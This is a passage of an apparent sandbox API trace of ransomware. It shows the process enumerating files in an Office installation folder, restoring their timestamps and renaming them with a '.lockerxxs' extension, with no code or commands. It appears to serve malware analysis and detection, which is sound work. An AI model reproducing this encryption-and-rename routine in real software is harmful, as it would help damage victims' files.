lpLastWriteTime=0x407556) returned 1 [0066.266] CloseHandle (hObject=0x8c) returned 1 [0066.267] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7167100, ftCreationTime.dwHighDateTime=0x1c9d832, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7167100, ftLastWriteTime.dwHighDateTime=0x1c9d832, nFileSizeHigh=0x0, nFileSizeLow=0x2580, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.gpd", cAlternateFileName="SENDTO~1.GPD")) returned 1 [0066.267] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.267] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d77db00, ftCreationTime.dwHighDateTime=0x1c8e25a, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d77db00, ftLastWriteTime.dwHighDateTime=0x1c8e25a, nFileSizeHigh=0x0, nFileSizeLow=0x7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.ini", cAlternateFileName="SENDTO~1.INI")) returned 1 [0066.267] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.267] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNOteFilter.dll", cAlternateFileName="SENDTO~1.DLL")) returned 1 [0066.268] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.268] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b7d200, ftCreationTime.dwHighDateTime=0x1c8edfe, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf5b7d200, ftLastWriteTime.dwHighDateTime=0x1c8edfe, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendtoOneNoteFilter.gpd", cAlternateFileName="SENDTO~2.GPD")) returned 1 [0066.268] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.268] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1fd700, ftCreationTime.dwHighDateTime=0x1c8e624, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a1fd700, ftLastWriteTime.dwHighDateTime=0x1c8e624, nFileSizeHigh=0x0, nFileSizeLow=0x1ca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteNames.gpd", cAlternateFileName="SENDTO~3.GPD")) returned 1 [0066.268] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.268] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="SENDTO~2.DLL")) returned 1 [0066.268] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.269] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="SENDTO~2.DLL")) returned 0 [0066.269] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0066.269] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0066.269] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.269] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde807b00, ftCreationTime.dwHighDateTime=0x1ca1b0c, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde807b00, ftLastWriteTime.dwHighDateTime=0x1ca1b0c, nFileSizeHigh=0x0, nFileSizeLow=0x138f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEIRM.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0066.269] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.270] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEM.EXE", cAlternateFileName="")) returned 1 [0066.270] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.270] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x26d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEMANAGED.DLL", cAlternateFileName="ONENOT~1.DLL")) returned 1 [0066.270] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.270] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf42cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x182970, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONFILTER.DLL", cAlternateFileName="")) returned 1 [0066.270] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.270] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x135a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0066.271] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.271] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8dfa00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6c157ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d8dfa00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0xd3e368, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONMAIN.DLL", cAlternateFileName="")) returned 1 [0066.271] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.271] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xa8180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONPPTAddin.dll", cAlternateFileName="ONPPTA~1.DLL")) returned 1 [0066.271] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.271] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x59864770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONWordAddin.dll", cAlternateFileName="ONWORD~1.DLL")) returned 1 [0066.271] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.272] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd041f000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.DLL", cAlternateFileName="")) returned 1 [0066.272] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.272] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0491420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaeb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHWIZ.DLL", cAlternateFileName="")) returned 1 [0066.272] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.272] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64609a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.EXE", cAlternateFileName="")) returned 1 [0066.272] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.272] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64d2dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x6a798, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMELEMS.DLL", cAlternateFileName="")) returned 1 [0066.272] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.273] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x830db760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x11990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMMODEL.MDL", cAlternateFileName="")) returned 1 [0066.273] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.273] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x3d05, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0066.273] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.276] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.276] CloseHandle (hObject=0x88) returned 1 [0066.276] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm.lockerxxs")) returned 1 [0066.278] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0xc119, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0066.278] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.278] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xa160, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLACCT.DLL", cAlternateFileName="")) returned 1 [0066.278] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.278] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x28960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLCTL.DLL", cAlternateFileName="")) returned 1 [0066.278] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.279] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc37fa400, ftCreationTime.dwHighDateTime=0x1ca0b28, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc37fa400, ftLastWriteTime.dwHighDateTime=0x1ca0b28, nFileSizeHigh=0x0, nFileSizeLow=0x380000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DAT", cAlternateFileName="")) returned 1 [0066.279] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.338] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.338] CloseHandle (hObject=0x88) returned 1 [0066.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat.lockerxxs")) returned 1 [0066.340] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eeae600, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eeae600, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0xab940, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="OUTLFLTR.DLL", cAlternateFileName="")) returned 1 [0066.340] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.340] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x599bb3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xaff88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLMIME.DLL", cAlternateFileName="")) returned 1 [0066.340] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.340] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x175ed60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE", cAlternateFileName="")) returned 1 [0066.340] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.341] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d147f00, ftCreationTime.dwHighDateTime=0x1cac9af, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d147f00, ftLastWriteTime.dwHighDateTime=0x1cac9af, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE.MANIFEST", cAlternateFileName="OUTLOO~1.MAN")) returned 1 [0066.341] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.341] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookAutoDiscover", cAlternateFileName="OUTLOO~1")) returned 1 [0066.341] lstrcmpA (lpString1=".", lpString2="OutlookAutoDiscover") returned -1 [0066.341] lstrcmpA (lpString1="..", lpString2="OutlookAutoDiscover") returned -1 [0066.341] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.343] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.344] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0066.346] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.346] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.346] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0066.346] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.348] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, 